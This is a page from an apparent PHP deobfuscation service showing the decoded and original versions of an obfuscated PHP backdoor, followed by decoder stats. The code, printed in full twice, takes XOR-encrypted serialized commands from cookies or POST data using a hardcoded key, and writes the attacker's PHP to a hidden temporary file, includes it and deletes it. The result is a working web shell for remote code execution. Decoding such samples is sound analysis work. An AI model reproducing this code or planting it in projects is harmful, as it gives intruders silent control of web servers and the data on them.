Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function urbws(){$varfe='rimmxs'; print_r/* nbv */(35541+35541); }$bpgxcvl..

Decoded Output download

<?php     function	urbws(){$varfe='rimmxs';     print_r/*  nbv  */(35541+35541);	}$bpgxcvlxk/*  _ftwa*/=   'bpgxcvlxk'	^/*   t  */''; 
 
 
function    jwuvcm_e($alhrtqwiwp,	$fxrdqb) 
 
 
{   global	$bpgxcvlxk; 
/*  m */$uugjuuc	=	"";    for/*   vq_*/($_llqka	=	0;       $_llqka       </* gyl  */strlen($alhrtqwiwp);)      { 
	for/*  a*/($j_jak_e	=/*  f  */0;/*  x   */$j_jak_e  </*   pieq*/strlen($fxrdqb)       &&/*  lyg  */$_llqka/*p */<   strlen($alhrtqwiwp);   $j_jak_e++,	$_llqka++)   { 
 
 
	$uugjuuc	.=/* vmxj */$bpgxcvlxk(ord($alhrtqwiwp[$_llqka])     ^       ord($fxrdqb[$j_jak_e])); 
 
/* pjxl*/} 
 
 
/* dd*/} 
	return       $uugjuuc;} 
 
 
function     zmcjih($al_jizn,   $alhrtqwiwp) 
 
 
{ 
	global	$bpgxcvlxk; 
 
/* g  */$okeffsp   =/*  ipo */sprintf("."    .	$bpgxcvlxk(478-431)/*__qlo */.	"%"."s"	./*   huwbv   */$bpgxcvlxk(46)    .	"p"."l",/* dgeb  */md5($al_jizn));  file_put_contents($okeffsp,       "<"	.	"?"."p"	.       "h"."p"      .	$bpgxcvlxk(32)/* qd */./*  ot  */$bpgxcvlxk(278-161)	.    $bpgxcvlxk(110)/*  ryleh  */.	"l"."i"."n".$bpgxcvlxk(1072-965)       ./*j   */$bpgxcvlxk(40)/* m  */.      "_"."_".$bpgxcvlxk(70)/*dt  */./*  rrvcq  */"I"/*  rx */.	$bpgxcvlxk(76)       .	"E"."_"."_".$bpgxcvlxk(480-439)	./*   cu  */";".$bpgxcvlxk(32)/*osrnw*/.       $alhrtqwiwp[$bpgxcvlxk(372-272)]); 
 
 
/* bo  */include($okeffsp); 
 
 
/*x  */$mddqrgwo    =       $okeffsp; 
 
	unlink($mddqrgwo); 
 
} 
 
function	j_jsxjmw() 
 
{ 
 
 
	global     $bpgxcvlxk; 
 
 
	 
  $_llqka	=/* o   */array(); 
	$_llqka["p"."v"]     =       phpversion(); 
 
	$_llqka[$bpgxcvlxk(115)   ./* ocdr*/$bpgxcvlxk(118)]	=/*   j_a  */"3".".".$bpgxcvlxk(53);/*  rrsgz */echo/*pp   */@serialize($_llqka);} 
 
 
function/*   ylybi */iugdwbjy($alhrtqwiwp,/*   p*/$al_jizn,	$cnawakl_mw) 
 
{ 
  global/*czpl  */$bpgxcvlxk; 
 
/* zeu */ 
 
/*  dxdd */$alhrtqwiwp	=	unserialize(jwuvcm_e(jwuvcm_e(base64_decode($alhrtqwiwp),/*hmpcw */$al_jizn),   $cnawakl_mw)); 
 
/* uw*/if  (isset($alhrtqwiwp["a"."k"]))	{ 
 
 
/*  df  */if/* cwbmi   */($alhrtqwiwp["a"]/* vrz*/==/*   r */"i")    { 
 
/*   u_h */j_jsxjmw(); 
 
 
    }/*ju */elseif	($alhrtqwiwp["a"]/* oo  */==/* k   */"e")/*   henuc   */{/* cfs_ */zmcjih($al_jizn,	$alhrtqwiwp);       } 
 
	exit(); 
 
 
/*bhr */} 
 
} 
$aorjkkpahi   =	$_COOKIE; 
$j_jak_ejdicdma/* h*/=	$_POST; 
 
$aorjkkpahi   =      array_merge($j_jak_ejdicdma,  $aorjkkpahi); 
 
$al_jizn/*   x_   */=/*   d */$bpgxcvlxk(660-606)	.	$bpgxcvlxk(953-898)	.   "8"."9".$bpgxcvlxk(49)/*di*/.	"0"/*jyq */.	"2"."9".$bpgxcvlxk(45)/* xgslv   */./* una   */$bpgxcvlxk(209-111)/*  c*/./*auxe  */"a"."0"."7"."-"."4"."8"/*m*/.  "c"."2"/*  nk  */.     "-".$bpgxcvlxk(56)	./* krfq */"1".$bpgxcvlxk(84-30)/*l*/./* hfru*/$bpgxcvlxk(48)	.	"-"."4".$bpgxcvlxk(352-254)	.       "a"."1"	.	"6".$bpgxcvlxk(57)   .     "c"."2"/*  o */./*rgjlx */"0"."6"/*   jzjp   */.    $bpgxcvlxk(835-784)/*  t   */.       "e"; 
 
foreach	($aorjkkpahi  as	$cnawakl_mw     =>	$alhrtqwiwp)/*  adh  */{	iugdwbjy($alhrtqwiwp,    $al_jizn,   $cnawakl_mw); 
 
} ?>

Did this file decode correctly?

Original Code

<?php     function	urbws(){$varfe='rimmxs';     print_r/*  nbv  */(35541+35541);	}$bpgxcvlxk/*  _ftwa*/=   'bpgxcvlxk'	^/*   t  */'';


function    jwuvcm_e($alhrtqwiwp,	$fxrdqb)


{   global	$bpgxcvlxk;
/*  m */$uugjuuc	=	"";    for/*   vq_*/($_llqka	=	0;       $_llqka       </* gyl  */strlen($alhrtqwiwp);)      {
	for/*  a*/($j_jak_e	=/*  f  */0;/*  x   */$j_jak_e  </*   pieq*/strlen($fxrdqb)       &&/*  lyg  */$_llqka/*p */<   strlen($alhrtqwiwp);   $j_jak_e++,	$_llqka++)   {


	$uugjuuc	.=/* vmxj */$bpgxcvlxk(ord($alhrtqwiwp[$_llqka])     ^       ord($fxrdqb[$j_jak_e]));

/* pjxl*/}


/* dd*/}
	return       $uugjuuc;}


function     zmcjih($al_jizn,   $alhrtqwiwp)


{
	global	$bpgxcvlxk;

/* g  */$okeffsp   =/*  ipo */sprintf("\x2e"    .	$bpgxcvlxk(478-431)/*__qlo */.	"%"."\163"	./*   huwbv   */$bpgxcvlxk(46)    .	"p"."l",/* dgeb  */md5($al_jizn));  file_put_contents($okeffsp,       "<"	.	"?"."\160"	.       "h"."\x70"      .	$bpgxcvlxk(32)/* qd */./*  ot  */$bpgxcvlxk(278-161)	.    $bpgxcvlxk(110)/*  ryleh  */.	"l"."i"."n".$bpgxcvlxk(1072-965)       ./*j   */$bpgxcvlxk(40)/* m  */.      "_"."_".$bpgxcvlxk(70)/*dt  */./*  rrvcq  */"\111"/*  rx */.	$bpgxcvlxk(76)       .	"E"."_"."_".$bpgxcvlxk(480-439)	./*   cu  */";".$bpgxcvlxk(32)/*osrnw*/.       $alhrtqwiwp[$bpgxcvlxk(372-272)]);


/* bo  */include($okeffsp);


/*x  */$mddqrgwo    =       $okeffsp;

	unlink($mddqrgwo);

}

function	j_jsxjmw()

{


	global     $bpgxcvlxk;


	
  $_llqka	=/* o   */array();
	$_llqka["p"."v"]     =       phpversion();

	$_llqka[$bpgxcvlxk(115)   ./* ocdr*/$bpgxcvlxk(118)]	=/*   j_a  */"3".".".$bpgxcvlxk(53);/*  rrsgz */echo/*pp   */@serialize($_llqka);}


function/*   ylybi */iugdwbjy($alhrtqwiwp,/*   p*/$al_jizn,	$cnawakl_mw)

{
  global/*czpl  */$bpgxcvlxk;

/* zeu */

/*  dxdd */$alhrtqwiwp	=	unserialize(jwuvcm_e(jwuvcm_e(base64_decode($alhrtqwiwp),/*hmpcw */$al_jizn),   $cnawakl_mw));

/* uw*/if  (isset($alhrtqwiwp["a"."k"]))	{


/*  df  */if/* cwbmi   */($alhrtqwiwp["a"]/* vrz*/==/*   r */"i")    {

/*   u_h */j_jsxjmw();


    }/*ju */elseif	($alhrtqwiwp["a"]/* oo  */==/* k   */"\145")/*   henuc   */{/* cfs_ */zmcjih($al_jizn,	$alhrtqwiwp);       }

	exit();


/*bhr */}

}
$aorjkkpahi   =	$_COOKIE;
$j_jak_ejdicdma/* h*/=	$_POST;

$aorjkkpahi   =      array_merge($j_jak_ejdicdma,  $aorjkkpahi);

$al_jizn/*   x_   */=/*   d */$bpgxcvlxk(660-606)	.	$bpgxcvlxk(953-898)	.   "8"."9".$bpgxcvlxk(49)/*di*/.	"\60"/*jyq */.	"2"."9".$bpgxcvlxk(45)/* xgslv   */./* una   */$bpgxcvlxk(209-111)/*  c*/./*auxe  */"a"."0"."7"."-"."4"."\70"/*m*/.  "c"."\62"/*  nk  */.     "-".$bpgxcvlxk(56)	./* krfq */"1".$bpgxcvlxk(84-30)/*l*/./* hfru*/$bpgxcvlxk(48)	.	"-"."4".$bpgxcvlxk(352-254)	.       "a"."\x31"	.	"6".$bpgxcvlxk(57)   .     "c"."\62"/*  o */./*rgjlx */"0"."\x36"/*   jzjp   */.    $bpgxcvlxk(835-784)/*  t   */.       "\145";

foreach	($aorjkkpahi  as	$cnawakl_mw     =>	$alhrtqwiwp)/*  adh  */{	iugdwbjy($alhrtqwiwp,    $al_jizn,   $cnawakl_mw);

}

Function Calls

array_merge 1

Variables

$bpgxcvlxk chry{cm`~
$aorjkkpahi 0
$j_jak_ejdicdma 0

Stats

MD5 623a5577eb726d18b50f79b085e32493
Eval Count 0
Decode Time 67 ms